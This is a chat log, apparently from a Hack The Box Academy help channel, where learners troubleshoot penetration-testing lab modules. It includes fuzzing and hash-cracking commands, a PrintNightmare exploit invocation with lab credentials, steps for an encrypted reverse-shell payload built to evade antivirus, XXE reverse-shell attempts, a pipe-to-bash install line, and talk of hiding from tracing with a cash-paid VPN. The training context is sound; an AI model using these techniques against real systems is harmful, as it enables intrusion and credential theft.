I thought this might be an issue. So I thought I wrote my program to just ignore it. Maybe it's not doing that. I'll take a look at that as well. Thank you both.

[normal sand]

v2.0.0?

[next bronze]

this should work

[jolly cradle]

ty

[shut quest]

Ignoring the args will have no way to go back to your host unless you hard coded the variables.

[rustic sage]

Why did I get pinged for this?

[normal sand]

Btw is there a link to only git clone a specific file, like this one in case? I normally wget the raw for scripts.

[dim wolf]

uh, you shouldn't have

[rustic sage]

Well I got

[dim wolf]

huh

[rustic sage]

A notification

[next bronze]

wget works too with the download link

[normal sand]

So this link?
https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe

[next bronze]

yeah

[next bronze]

https://www.kali.org/docs/containers/installing-docker-on-kali/

[normal sand]

Thanks. Just to clarify, there's no issue with the pre-docker versions of bloodhound yeah?

[next bronze]

nope

[jolly dagger]

@shut quest It was the args. I left the if args != 2... and I assumed the program was working because the logfile said it timedout. I removed the check for args, hardcoded the ip and port, and it worked. Thank you so much. @next bronze

Maybe the next section explains this, but I was able to run a powershell instance as another user. Was this because beta was executing my reverse shell, allowing me access to it's permissions, or was this a LPE I don't understand. @shut quest

[shut quest]

Each of those folders has a different user running the executable placed in it

[jolly dagger]

That makes sense. Thank you @shut quest

[wicked apex]

Module: Information Gathering : Web Edition
Section: Skills Assessment

I have continued the vhosts enum via ffuf
ffuf -w /usr/share/seclists/Discovery/subdomains-top1million-5000.txt:FUZZ -u http://94.237.59.199:50304 -H 'Host:FUZZ.inlanefreight.htb
and directory bruteforce via gobuster
gobuster dir -u http://inlanefreight.htb:50304/ -w /usr/share/seclists/Discovery/Web-Content-combined_directories.txt
Neither have yield any results, would that be any possible mistakes made within the command itself, or would it be just the wrong wordlist to do?
Added 94.237.59.199 inlanefreight.htb into /etc/hosts already.

[rustic sage]

.

[shut quest]

Both of your commands are incorrect, review the section where these are provided and review piece by piece to find out what's wrong.

[normal sand]

Strangely enough when I used wget on this link compared to when I downloaded it directly from the browser, I got two different sizes... The first one is the wget and the second is direct download from the browser. @next bronze

[shut quest]

Also sometimes you need a different/longer word list.

[next bronze]

ah wrong link then, you need the raw file as always

[normal sand]

Raw works for executables? I'll test it out.

[next bronze]

raw just show's whatever data blob is on the server, it works for any file types

[shut quest]

Can use file to quickly identify that one would be ASCII/text

[normal sand]

Yup, worked, thanks.

[normal sand]

Thanks!

[next bronze]

wait they said show results tho

that's not right there should be a bunch of them

[graceful mortar]

[shut quest]

If my memory serves me, missing a flag for go buster and the IP should be a host for ffuf

[kindred dawn]

Guys I got a cache file from chrome that is flagged as a virus. It happened while I was on academy pwnbox. I didnt download anything from the web. Is it possible that chrome/windows flagged it bc of HTB?

[normal sand]

@next bronze regarding BloodHound, I'm currently using Pwnbox so it has the 4.x.x version installed. If I'm going to be using my own VM and I want to use the pre-docker version, I'll have to download it specifically from the repo, right?

[next bronze]

if you wanna set up docker def do it in your own vm

[normal sand]

I just meant that if I wanted the older version (pre-docker), I'd have to download it from the GitHub repo, right?

[next bronze]

kali should have it installed by default but yeah you can install it yourself if it isn't

I like CE because you can set it up to access using any devices in the network through the browser

[shut quest]

Can you mark as owned in CE now?

[dim wolf]

yes

[normal sand]

I tried using it but... nothing happened?

[next bronze]

./program.exe

[normal sand]

Just ran it with the syntax .\SharpHound.exe and it worked. Thanks.

[next bronze]

<@&861185840277487616> other channels too

[winged hedge]

Great job. Thanks for letting us know!

[celest nest]

can you help me please?

[winged hedge]

What seems to be the problem?

[celest nest]

last two days my discord account sends scam links to all my servers, maybe my account token was stolen I changed password and regain access to it. so I got ban

[celest nest]

.

[winged hedge]

Wait a sec.

[winged hedge]

Can you please DM me?

[jade latch]

what's the alternative to sudo apt install python2.7? that's what academy says i should do, but 'no installation candidate'. searching it up returns the same command

when i try to use python server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0 without 2.7 attached, it still results in syntax error so i assume python2.7 isnt on pwnbox either

i'm using the latest parrot os

[open mica]

In the Live-Debugging section from the Advanced SQL Injection module i am running in the following problem. After decompiling the jar with fernflower and starting the remote debugger. The line numbers appear to be out of sync as a result when I place a breakpoint, it Breakes/Pauzes on a different line. DId any one find a way to get it back into sync?

[unique remnant]

Hi,
I am doing the Documentation & Reporting Practice Lab
but now the DC @ 172.16.5.5 is not there, yesterday it was there, I already reloaded the lab but it is the same
Is it a technical problem?

[quasi jungle]

Can't run tplmap.
https://academy.hackthebox.com/module/145/section/1344
Is there any other tool to automate SSTI, tplmap's dependencies aren't installed on the PwnBbox, tried to use a python3 venv but it seems the a dependency need's python2.
Can't install python2 on PwnBox to some other error.
And even running locally encounter this error "TypeError: method expected 2 arguments, got 3"

[next bronze]

Installing python2.7 on pwnbox, ignore the warnings about missing extension, just run everything here

curl https://pyenv.run | bash
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(pyenv init -)"' >> ~/.bashrc
source ~/.bashrc
pyenv install 2.7
pyenv shell 2.7
python --version

[zenith vale]

can someone help me with the xxeinjector automation?

[young wyvern]

Any tips on being able to run the LinEnum.sh script on the getting started module, last task “knowledge check”?

[fathom pendant]

Transfer from your machine to it, but tbh linenum isn't required

One of the first few things you should do as a user is see what you can (su)do

[young wyvern]

Alright thank you! Was just going to follow the steps but I’ve had some other ideas

[sly lark]

Hey dude i was stuck on this for ages aswell, you have 5 mins from requesting the OTP to do your ffuf, first time i request the OTP and then went off to make the payload and wondered for ages why it wasnt working, the OTP list i just madea list of 1 to 10000
||for ((i=1; i<= 10000; i++)); do echo $i >> OTPlist
done||

[rain moon]

Long shot but did anyone take notes on the Password Attacks module? Specifically Sam's password from the Password Mutations section? The following module wants you to reuse the creds for a foothold but I didn't take notes and it's been a few weeks. Thanks 🫡

[fathom pendant]

Steps? I don't believe that this lab is guided

[fathom pendant]

Just regrab it

You should always save creds in modules, never know if they're gonna get reused later

[rain moon]

Yeah hindsight is 20/20, what do you mean by regrab it?

[fathom pendant]

...just reattack the service to grab it

It's not like it magically stops existing

[rain moon]

Right... kinda the point of asking here before I do that

[fathom pendant]

As a note; the linux envs and the windows envs are the same throughout this lab

[fathom pendant]

No one is just gonna hand it to you

[rain moon]

Lol thanks for your help

[fathom pendant]

Just gracefully take it as a lesson for future

You can use 48 threads safely in this module against most services

[fathom pendant]

You should be using the mutated password list

Also don't attack ssh

Ssh is painfully slow and it's likely dropping connections

[rain moon]

If someone who can actually help sees this please DM me

[fathom pendant]

Dude just attack ftp and wait

You'll likely get it before someone dms you

[stiff urchin]

did anyone had problems with Attacking common application module - attacking tomcat section ? credentials doesn't work!

worked now! after reseting the lab and got a new IP address 🙂

[jade latch]

ran them by script, and one by one on both pwnbox and vm. this is a nightmare

[next bronze]

some of the extensions are missing but that's fine

just run the rest

I've tested it and it works

[jade latch]

it does say python3 but ill run the command

[next bronze]

can you run the rest of the commands buddy

[jade latch]

yup

[next bronze]

python --version what do you see

[jade latch]

the screenshot shows that i've run the rest of the commands by the python --version showing Python 3.11

[jade latch]

~

[next bronze]

I just spun up a fresh pwnbox, ran all the commands and it worked

[jade latch]

oh

ill try it again

[fathom pendant]

most have been fine for me

¯_(ツ)_/¯

[fading oracle]

this is an ongoing issue since i do academy

[fathom pendant]

/timeout:60000

¯_(ツ)_/¯

[jade latch]

thanks ♥️

[fathom pendant]

your error is a timeout error meaning it's timing out before it connects

[next bronze]

btw what's up with the new pwnbox image? lost of broken stuff espically python, and python 2 is not even in the apt repo

[fathom pendant]

i don't work here blame @indigo rock ¯_(ツ)_/¯

[real tapir]

I'm having trouble with the third problem in this section: https://academy.hackthebox.com/module/39/section/415. I have a meterpreter shell on the target machine, and I've tried to use linux/local/sudo_baron_samedit (privelege escalation to sudo). But the baron exploit requires x64, the first exploit to get on the system (exploits elfinder) supports x86 and x64, but it only works with x86, saying this if I try to use x64:

[-] Did not receive a response from elFinder
[-] Exploit aborted due to failure: unexpected-reply: Upload was not successful

This makes a conflict so that I cannot use the x64 baron sudo exploit. What am I doing wrong?

[fathom pendant]

don't worry about the dependency

just follow the steps

get initial session --> ctrl+z --> switch to privesc exploit --> bind it to the session

[fading oracle]

same but idk at this point

goodbye

[real tapir]

do I do that just by setting the SESSION option?

[fathom pendant]

yes

set session N where N is the session that your reverse shell is in

if you're unsure just type sessions to get the number

[real tapir]

I did that

and it exploits, but doesn't spawn a session

another one

I also make sure to set LPORT to something different

[fathom pendant]

make sure the LHOST is your tun0

[real tapir]

thank you. I thought I set it properly, but it must've reset when I accidentally restarted msfconsole. not sure how that happened

LHOST is my new enemy 🤬

[fathom pendant]

it defaults to the eth0/enp0s address

[real tapir]

same problem as last time I asked for help

[loud dagger]

has anyone else had trouble staying connected to their academy labs lately? for the past few days the connection has been super spotty

[fathom pendant]

https://www.offsec.com/metasploit-unleashed/msfconsole-commands/#setg

[fathom pendant]

use tcp vpn; change vpn regions

[loud dagger]

i've tried switching regions a few times but i don't remember if i've ever tried using tcp

[next bronze]

maybe this will help https://gist.github.com/Xre0uS/2105986d23719cf99c271842528f48a6

but if the problem is their own internal network then

[loud dagger]

thank you

[fathom pendant]

This floor is made of floor

but yeah it's funny, but some people do need it spelled out

[loud dagger]

i feel like if you need it spelled out that Network File System is a network file system then you might not be cut out for cpts

[slender violet]

USING WEB PROXIES > Burp Intruder > Question 1
https://academy.hackthebox.com/module/110/section/1054

I'm getting errors when fuzzing for HTML files. I think it might be because I'm connected to the webpage over HTTPS instead of HTTP. But I could not connect to the webpage over HTTP.

[fathom pendant]

https isn't running on those servers afaik

you'll get a 4xx error on all the ones that don't contain the answer

[dire abyss]

https://academy.hackthebox.com/module/113/section/1210

need help, the joomla_dir_trav.py script runs from python2.7. when i run the command as demonstrated it says its missing click. so i do sudo pip install click and it says it already exist in /usr/lib/python3/dis-packages (8.1.7) i cant run it with python3 i get a seperate error

i just read... theres py3 ver of the script

[slender violet]

Weird, the webpage doesn't render any content over HTTP. I can only connect over HTTPS.

[fathom pendant]

well because you need to find the <x>.html file

it's not loading bc no index.html :)

or default .html page that it's loading

[slender violet]

Oh okay that makes sense.

[fathom pendant]

if all else fails, reset the target

[slender violet]

I'll give it another try.

[fathom pendant]

but https will always fail as there's no SSL services running

[slender violet]

Ok it's working now. Thank you.

At first I couldn't capture an HTTP request over Burp because I was trying to load a non-existent page. After I loaded a page that exists I was able to intercept the HTTP request.

[fathom pendant]

👍

it's generally asking you to visit the base page

http://ip:port

then perform the attack described from that

[slender violet]

Yeah but when I went to http://ip:port I didn't capture any request in Burp Suite, because the page did not exist.

[jolly dagger]

Hey @shut quest, I'm working on INTRODUCTION TO WINDOWS EVASION TECHNIQUES - Dynamic Analysis - Option 2 with microShell. In the example given, it looks like they ran the program from Administrator Powershell. In the Introduction chapter, we are given a target VM that provides us with Administrator privleges, but not in the chapter I am in Dynamic Analysis. Do I use the Introduction VM given, or the one in Dynamic?

[fathom pendant]

ah

[shut quest]

Should still work without admin

[fathom pendant]

it loaded, just didn't load what you expected

if it didn't load/connect there'd be an error message in the browser

[shut quest]

If anything the author was showing it work on the dev machine (cooking atm so I can verify)

[jolly dagger]

@shut quest Gotcha, so I just drop it into the C:\alpha\dynamic folder and it will be ran.

[shut quest]

Correct

[jolly dagger]

Okay then it must be something with my code or something else. Thank you

[slender violet]

Originally I wasn't capturing any request in Burp Suite at the base URL but now I'm able to. I probably just had to reset my target. All good now.

[jolly dagger]

@shut quest Here are the steps I did for option 2. (I did get option 3 working, and wrote my own reverse shell, but using micr0shell is harder for me)

1. Take the NotMalware code from Static Chapter
2. Generate a shell with IP and Port of attack VM
3. Take the hex and convert it to a AES-base64 string
4. Put this string in place of the meterpreter AES-base64 string
5. (Optional) Add the iv and key for the aes decryption (though these appear to be unchanged from CyberChef)
6. set netcat on attacker VM and listen on 8080.
7. compile, transfer to victim, insert into C:\alpha\dynamic. Verify it runs via log.txt
8. Wait for connection from victim.

Did I miss a step? I might just burn it all down and try again tomorrow if everything looks right.

[wary tendon]

is there someone who can help me read through the report in the documenting and reporting section its difficult to know where to start and what to take screenshots and notes on. its all over the place. i was able to get into the dc01 host but i failed to document as i went. but everything was still up so i could capture it

would be awesome if someone could wlak me through so i can get a different point of view on learning this portion

[nova wharf]

I’m in the information gathering-web edition skill assessment, and the problem I’m running into is when I run any of my tools dig, dnslookup, Whois, I get either no results or unable to find server. I added the ip and web page to my host file and am able to find the web page in the browser but none of my other tools are pulling any results.

[rustic sage]

Did they give any specific websites for you to collect info on?

[nova wharf]

Yea vHost inlanefreight.htb I added that and the ip to my hosts file

[next bronze]

it's not a public domain, so you won't find it with nslookup or whois

[rustic sage]

Use ".com" instead of .htb

Inlanefreight.com

[next bronze]

also don't include the port number in your host file

[next bronze]

^

[acoustic owl]

You need to add the IP (without port) and Domain to your hosts file.

[nova wharf]

Then why in the instructions do they say to use them

[rustic sage]

Try running whois on "inlanefreight.com"

[nova wharf]

Sorry just not making any sense on why they say to use those then not make it to where you can

[acoustic owl]

the hosts file is only responsible for name resolution. This has nothing to do with the port

[next bronze]

look at the first question carefully

[nova wharf]

Changed the host file with out the port still no results

[rustic sage]

That's because inlanefreight.htb is not a real domain

[acoustic owl]

htb is not an official top level domain

[nova wharf]

I’ve answered all but the last question and I did it from my personal machine I’m using the attack box cause not at home

[nova wharf]

I did .com instead of htb

After modifying the host file without the port

[acoustic owl]

What question exactly are you trying to answer?

[nova wharf]

The final one what is the API key the inlanfreight.htb developers will be changing too?

[acoustic owl]

You have found a subdomain. From there, apply all the techniques shown in the module again. Then you will also find what you are looking for

[fathom pendant]

if you can't find something on one subdomain, perhaps dig deeper

[old oasis]

https://tenor.com/view/inception-deeper-go-deeper-we-need-to-go-deeper-leonardo-di-caprio-gif-16756828

The new information gathering module is really well done. Forces you to think outside the box a bit

[fathom pendant]

ReconSpider comes in clutch

[wicked apex]

had that working for .com but not .htb past q3 in skill assessment 😦

[old oasis]

"if you can't find something on one subdomain, perhaps dig deeper"

[full echo]

What have you tried?

[shut quest]

make sure to remove line breaks, 5 is not optional as you need that to decrypt, 6 is whatever port you stated so if 8080 cool, else modify. did you clean up the xor?

[fathom pendant]

read what I said previously; if you can't find on one -- dig deeper

[wicked apex]

I went deeper and got it done

[fathom pendant]

👍

but also ReconSpider won't work on the first subdomain

it's not set up in that way

[nova wharf]

So I haven’t answered the final question and it gave me 19/19 on the course

[fathom pendant]

well if you can't click on "finish" at the end of the module, then it's not complete

and it won't count as completed

[nova wharf]

It just shows view instead of continue

[plush crown]

Does anyone have the silver annual ? I was going to purchase to assist with the CPTS and was wondering if it was worth it?

[fathom pendant]

only if you find yourself getting heavily stuck and don't wanna reach out for help in the discord

¯_(ツ)_/¯

the walkthroughs mostly assume you read the content or have underlying knowledge of a concept that's required for the module

[plush crown]

I was trying to finish as quickly as possible without bugging everyone lol.

[fathom pendant]

finishing quickly should not be the goal

[plush crown]

So only the annual provides the step by step solutions, not the monthly.....

[fathom pendant]

you should have learned and understood all the techniques and tools used throughout the entire course

[fathom pendant]

yes

you can't copy/paste your way to the CPTS certification

[plush crown]

Ok....I'm going to ho ahead and get it.

[fathom pendant]

imo

if you're trying to speedrun the cert path, you're gonna fail the exam

[plush crown]

I know I can't.

[fathom pendant]

you should focus on where you got stuck and understanding what you misunderstood/needed to add to get unstuck

[plush crown]

Have you passed it?

[fathom pendant]

getting stuck is natural, but if your immediate reaction to getting stuck is "what's the answer" then you're just setting yourself up for failure

[next bronze]

if you rely on using that feature to do modules it won't help with your learning

[plush crown]

Right

[fathom pendant]

you need to be able to think critically

I genuinely only use the guides for one of two things; 1) if i've already asked and I just didn't get anywhere with the hints and 2) to see if the guide does something different than me

it's all in how you actually use the tool

but it's absolutely not necessary ¯_(ツ)_/¯

plenty of people passed without the guides being a thing at all

[plush crown]

Ok. Thanks for the insight.

[fathom pendant]

(except for enterprise)

so if you truly feel you need a guide to move forward, take a step back and slow down your reading

and also TAKE NOTES

taking notes is THE most important thing

you're not expected to memorize every little syntax

just understanding what tool you need is more than enough

the rest can be googled or saved as a shortcut for later

[plush crown]

I did.

I have been stuck in the login ssh brute force question on the module.

The only reason I wanted the silver annual was because I wanted to make sure I understand EACH section completely

[fathom pendant]

you get better answers in here with

• Module name - Section Name
• What question
• what you're stuck on/what you've tried

[fathom pendant]

the walkthroughs don't explain anything, at all

they are based off the assumption you read the content

[idle kestrel]

Is anyone available for help on the the Active Directory Trust Attacks module abusing ADCS? I'm confused on what I'm supposed to do and may be messing up the attack chain.

[next bronze]

you'll need to understand the previous section first. but basically just create a vulnerable template, push it to the parent domain then request it

[idle kestrel]

All from DC02 right?

[next bronze]

from the cild domain yes

follow the steps in the module

[idle kestrel]

So no where in the attack chain do you need access to DCO1? I've been following the steps, but I keep getting an error about the default policy module blocking the cert. Is like it doesn't sync after it's added to active enrollment.

Can I DM you to share a screenshot if the error I'm getting? @next bronze

[next bronze]

request the cert from dc01 after it's been published, you can just send the screenshot here

[idle kestrel]

Nevermind, figured it out. I either forgot to hit apply somewhere or it just needed time to sync.

[next bronze]

seems like you didn't configure the template right

check the permissions and rights

[latent glen]

@next bronze you here?

I keep having an issue with multidump

it says "The magic bytes are not zero! Probably wrong file/key used, or data lost during transfer." and I dont know how to debug it

[next bronze]

if the data is transferred over a proxy you'll need to give the handler the proxy's ip

but this is not the right channel, use #red-team or something

[rustic sage]

@fathom pendant you guys got msgs delete perms in this channel?

[fathom pendant]

https://tenor.com/view/mc-gregor-conor-ufc-boxing-gif-21215303

it's to be able to circumvent slow mode

[rustic sage]

"It's TheCyberSimon the Lord of skids"

[fathom pendant]

bc of how discord perms work

[latent glen]

my bad, thanks

[stark lark]

Attacking Common Services -> SQL.

"What is the password for the "mssqlsvc" user?"

How can I possibly crack this hash or use it?

[rustic sage]

It looks like an NTLM hash

[fathom pendant]

yep

it's an NTLMv2 hash

and hashcat can certainly crack it

[stark lark]

I mean should be NTLM but I cant see it

[fathom pendant]

wdym?

i can see it right there

[stark lark]

Is it the FC.....78 part?

[fathom pendant]

the whole thing from mssqlsvc all the way to the end is the hash

https://hashcat.net/wiki/doku.php?id=example_hashes

search for NTLMv2

:)

[stark lark]

Ah okay, I thought of using online rainbow tables to crack it but maybe that won't be possible since its NTLMv2? :-)

[rustic sage]

hashcat -m 5600 -a 0 -o cracked.txt ntlmv2_hash.txt /path/to/wordlist.txt

[fathom pendant]

the module should give you a wordlist

if not; rockyou

[stark lark]

Yup, but NTLMv2 is not possible to use crackstation etc?

[rustic sage]

Crackstation does support NTLM

[fathom pendant]

it does... but that's not what the module wants you to do

read the section

you're meant to use tools

as crackstation only uses popular/known words

[rustic sage]

You can use hashcat, the password is most likely in rockyou.txt

[fathom pendant]

if it's not in their list guess what, crackstation won't find it

then what will you do?

Gotta apply braincells to problems my boi

[stark lark]

Thanks for the help both

[eager ledge]

Hi, I am doing
Module: ACTIVE DIRECTORY ENUMERATION & ATTACKS
Section: Bleeding Edge Vulnerabilities

I am trying to do the steps shown on "PrintNightmare" vulnerability. So far, I have

1. Verified that the server is vulnerable
2. Generated a reverse shell DLL payload
3. Started a smbserver

sudo smbserver.py -smb2support Payload "/home/htb-student/backupscript.dll"

4. Started a listener using metasploit

The problem is with the SMB server. When I run the exploit, I get the error

└──╼ $sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\PAYLOAD\backupscript.dll'
python3: can't open file '/home/htb-student/CVE-2021-1675.py': [Errno 2] No such file or directory

But the backupscript.dll file exists:

┌─[htb-student@ea-attack01]─[/opt/CVE-2021-1675]
└──╼ $ls -l /home/htb-student/backupscript.dll
-rw-r--r-- 1 htb-student htb-student 8704 Jul 11 02:23 /home/htb-student/backupscript.dll
┌─[htb-student@ea-attack01]─[/opt/CVE-2021-1675]
└──╼ $ls -ald /home/htb-student/
drwxr-xr-x 1 htb-student htb-student 558 Jul 11 02:23 /home/htb-student/

When trying to execute ls command with smbclient as well, I get NO_SUCH_FILE error:

┌─[✗]─[htb-student@ea-attack01]─[~]
└──╼ $smbclient -N //172.16.5.225/Payload
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*

Can anyone point out what I am doing wrong during SMB server set up step?

[shut quest]

Try just the path for the share instead of the file

[slow matrix]

(gdb) run $(python -c "print '\x55' * 1200") is there another command in gef or gdb for this? I can't get it to overwrite the eip and ebp?

I've tried to get python 2 with pyenv but it needed a package I searched forever to find and I can't get it installed. openSSL-dev1.0 needed for python 2.

This is for the linux buffer overflow module in the academy.

[eager ledge]

Thanks, it worked!

[thorn hawk]

Good morning to all. I have a question regarding reverse shells in python. When you do sudo python3 -m http.server 80 to create a shell it is inidcated thatit is listening on the ip 0.0.0.0. Is this the IP I have to include or is it the IP of my box (this time is the VPN IP as we are on a VPN).?

[sterile solstice]

thats not a shell. thats you creating a HTTP server on the machine you typed that in

[thorn hawk]

Correct

[rustic sage]

sudo python3 -m http.server does not create a reverse shell. That's just a python server

[thorn hawk]

I am injection a php one line reverse shell to get the response there

[thorn hawk]

agreed my mistake

[sterile solstice]

if you are downloading a file from your new http server, you need to use the IP of the box. the 0's is just a local host IP not your IP on the network

using 'ifconfig' or 'ip a' to find your IP is bset

it'll be 10.10.xx.xx most likely, under the tun0 interface

[rustic sage]

0.0.0.0 means the machine is serving on all interfaces

[thorn hawk]

yes indeed

[sterile solstice]

(tun0 is tunnel interface 0, the VPN for the connection via your VM)

[thorn hawk]

Ok nice to know that

OK got it. Thank you guys for your prompt response.

[rustic sage]

Are you trying to serve a reverse shell on your computer for a specific target?

[thorn hawk]

yes. I am trying to inject a XEE vulnerability with curl to download my xee.php one liner to get a reverse shell. But I can't make it work.

[stark lark]

Shouldn't I be able to just login with the svc account after cracking the pw? Tried multiple times

[rustic sage]

Oh okay. So in that case yes you should run a http server on your end. On your one liner payload, you have to enter your tun0 IP:port

[thorn hawk]

Did that but still dont get an answer back. hahahah Maybe is not vulnerable with the expect entitty?

[bright coral]

Unless you start the HTTP in / you might want to change the path in you payload.

[pine vault]

Hi ! I'm working on the "INTRO TO WHITEBOX PENTESTING" module - section Skills Assessment.
I've found one of the RCE method but looking for the second one.
Does anyone can nudge me?

[rustic sage]

Yeah

[thorn hawk]

will put it on the /

[rustic sage]

Did you test for vulnerability?

[thorn hawk]

yes it is vulnerable

i could get the etc/passwd

[shut quest]

uh php payload need php server?

[rustic sage]

Yup then it should work

[thorn hawk]

going back. will let you know how it goes amigooos :D

[rustic sage]

Did you crack the password?

[thorn hawk]

I moved the file to / . then I tried the curl command normally in terminal and the file was downloaded and saw the result in the Python webserver. When doing this I get no response though. Could it be the ' ' needs to be encoded?

[rustic sage]

Are you listening for the rev shell?

[thorn hawk]

yes

[shut quest]

you try using sqsh?

[thorn hawk]

Curl command done outside the BURP request and we can see results in the web server waiting on the other side.

[stark lark]

No I found it awful, but since it works with the provided account I believe it should work with the service account too - wdyt?

[stark lark]

Yes

[rustic sage]

Try logging in with sqsh

[shut quest]

you can try -windows-auth

[rustic sage]

Yeah it could actually be that it's not set to the correct authentication method

[shut quest]

what module / section are you working on?

[rustic sage]

You haven't added the port to your command?

What port are u running the http server on?

[thorn hawk]

The module is the WebAttacks for XEE the first excercise. The excercise was done without the reverse shell. I am just trying to see ifI can get the reverse shell work.

[thorn hawk]

it is port 80. I tried the injection with IP:80 and withouth 80 and I get the same result

will try again :D

[stark lark]

Ah yes that did it! Thanks both.

Wondering why it worked without -windows-auth for the provided acount..

[slow matrix]

Does anyone know why my command returns such an error? How do I fix it?

[fathom pendant]

-windows-auth

[bright coral]

You are using python3 and the example uses 2.7

[fathom pendant]

As stated you're missing the parenthesis for print

[slow matrix]

I've tried to get python 2.7 with pyenv but it won't install it because of an openssl dependency package

[rustic sage]

It's a syntax error you need to make it python -c "print('\x55' * 1200)"

[slow matrix]

it'll install 3.7 though

oh ok ty

[fathom pendant]

print() is the python3 syntax

So just ( after print and ) at the end

[smoky snow]

It's ok, I found the issue, thanks 🙂

[slow matrix]

Thanks again y'all 😄

[slow matrix]

Getting another syntax error. I haven't done much of python interpreter bashing.

I might need to go practice syntax with bash.

[fathom pendant]

The syntax error is with python not bash

[rustic sage]

Try python -c "print('\\x55' * 1200)"

[slow matrix]

Not working with that syntax either.

I think I might really have to get python 2.7 on here

[fathom pendant]

Aren't you meant to do run $(python -c "print('\x55'*1200)") ?

[rustic sage]

Yeah but also the single quotes around '\x55' could be causing problems because of how the shell and GDB are interpreting the command.

[fathom pendant]

¯_(ツ)_/¯

[slow matrix]

here it is with the main command

[rustic sage]

Again you need ()

[fathom pendant]

^

Wrap the python print statement in the ()

It even tells you how to fix it in the error

[rustic sage]

That's python 2

[fathom pendant]

And this is based in 2.7

[slow matrix]

ohhhhhhhh

again i needed 2.7 then

[fathom pendant]

Or adjust

[slow matrix]

pyenv

[fathom pendant]

Brother

[rustic sage]

Try running run $(python -c "print('\\x55' * 1200)")

[fathom pendant]

Don't need double \

[shut quest]

They are telling you the syntax for 3, the section is showing for 2, adjust your code to match for 3

[fathom pendant]

Because it wants to inject "U" in (hex 55)

[slow matrix]

worked ty

[rustic sage]

Ty

[fathom pendant]

The error literally says "did you mean fixed statement?"

[rustic sage]

That's literally the command I gave you earlier

[slow matrix]

Thank you both so much! I'll work on understanding the syntax

[fathom pendant]

Not to mention it literally told him how to fix

[rustic sage]

Yeah lol

[slow matrix]

Yeah it was literally just syntax

[fathom pendant]

Dude

[rustic sage]

[fathom pendant]

Look at this screenshot again

And read the syntax error line

[slow matrix]

I missed the '('

[fathom pendant]

...

Read the whole thing

Specifically "Did you mean..."

[rustic sage]

Lol

[fathom pendant]

This isn't just about missing parenthesis, it's literally about reading the error it gives

[slow matrix]

oh I just didn't know to put the other ) at the end

[rustic sage]

Wth dude

You open a ( and you close a )

[fathom pendant]

Literally how every function works

[slow matrix]

LOL sorry yall

[fathom pendant]

Also that wasn't my point now

We've gotten you to write it correctly

But you aren't acknowledging the neon sign that would have saved you some headache

[slow matrix]

I see it, now xD

[rustic sage]

I recommend you learn some coding

[slow matrix]

going right now to study some more python.

[fathom pendant]

Yeah in order to fuzz and debug code, you need to know code

We're not sharing random IPs

And login forms

[terse jackal]

Hehehe

[fathom pendant]

Do it again and you'll be gone before you can say "buffer overflow"

Read the #rules

[terse jackal]

Alright my bad I was about to say i got an xss on that site

[rustic sage]

Brother

[slow matrix]

don't scare us like that

[fathom pendant]

Still not wise to share

[slow matrix]

scared me xD

[rustic sage]

Report and earn some of that sweet bug bounty

[fathom pendant]

It's not a website you control

And leaking that it's vulnerable is unethical

[terse jackal]

Come on guys we can have a bit of fun now

Not all the time ethical

[fathom pendant]

Not illegally

[rustic sage]

I say you report it to the website owners or whoever is in charge

[fathom pendant]

^

We don't share potentially vulnerable websites to others

Especially since someone smarter than you could potentially do way more harm

[shut quest]

Yes all the time ethical /story

[fathom pendant]

You keep pushing the issue and you can get removed

This channel is for the htb academy learning modules

Not "I'm a skid and found xss on this random ip"

Not to mention you don't know if that sites a honeypot and logged your ip

[terse jackal]

Brother errrr

[fathom pendant]

So I suggest dropping the issue

[terse jackal]

Mullvad vpn

[fathom pendant]

Don't think they'll request records?

Either way

Conversation over

[rustic sage]

https://tenor.com/view/yazarkeolog-gif-19419563

[fathom pendant]

Now go bug somewhere else

[terse jackal]

U were right

He said himself he set up honeypots

Oh well

Lesson learnt

[stone hare]

and thats why u pay cash with mullvad

[fathom pendant]

Next time read #rules before trying to post a random ip

Even paying cash, entities can request records. Especially if they're investigating a security incident

[stone hare]

ya but cash doesnt trace back to u

[fathom pendant]

That's what you think

Either way not a conversation for this channel

[stone hare]

I'm on Attackin Common services for SMB and I've got no idea how to get jason's pw, I've enumerated users, found a share that I can't access because insufficient perms, and I've used the pws.list given in the module to brute force the password, and none of them work, I tried a mutated list of that, and then rockyou as well, still nothing, what do i do???

[fathom pendant]

Common services doesn't use a mutated list

[stone hare]

I know, but I made one anyway because the regular one isn't working

[fathom pendant]

It should

If you used netexec/crackmapexec did you use --local-auth

[storm elk]

anyone else have this dark reader spam on pwnbox?

[fathom pendant]

The pws.list from resources should work

[stone hare]

could have sworn i tried it with --local-auth yesterday, worked now, thanks

[fathom pendant]

👍

[rustic sage]

whats the hardest machine to pwn on hackthebox?

[fathom pendant]

rope2 probably

Idk

[rustic sage]

Magic gardens?

[fathom pendant]

Should probably ask in a not academy channel

[last owl]

Hello, just a quick question, I am currently doing the file transfer module and for some reason xfreerdp doesn't connect to the target. The error message is "Timeout waiting for activation". tried adding the /timeout:1000 and /cert:ignore but no to avail , tried also using rdesktop and remmina. Double checked the IPs and credentials, refreshed the target as well, still no luck. Any tips?

[gray jay]

[next bronze]

that's in ms, try setting it longer

[next bronze]

you can dm if you still need help with it

[obsidian belfry]

anyone around for a nudge on Abusing HTTP Misconfiguration Hard Skill Assessment? Found some stuff but unable to move forward. thanks in advance.

[pseudo kiln]

anyone got an issue with spawning targets ? I get "Target(s) are spawning..." for a few seconds, then goes back to "Click here to spawn target system !" it was working just fine few hours ago

[stone hare]

I'm getting errors with openvpn currently, nothing connects

never had them before

[patent oak]

Same

[sterile solstice]

im having trouble right now as well

[stone hare]

ight good to know its not just me

[sterile solstice]

im on eu5

[patent oak]

Well I'm on the app boxes but yeah VPN just tanked

[sterile solstice]

but i imagine we're all on different netwroks lol

[stone hare]

i tried using UDP, TCP and new files, restarting my vm rn

[sterile solstice]

im doing web attacks/xxe

[patent oak]

I tried both vip vpns and no joy 😫

[sterile solstice]

i was about to switch vpns but saw msgs in chat

damn...i really wanted to finish the module before bed. i have a lot of life stuff about to get in my way hahaha

[stone hare]

real, i got work soon

oh it works i think

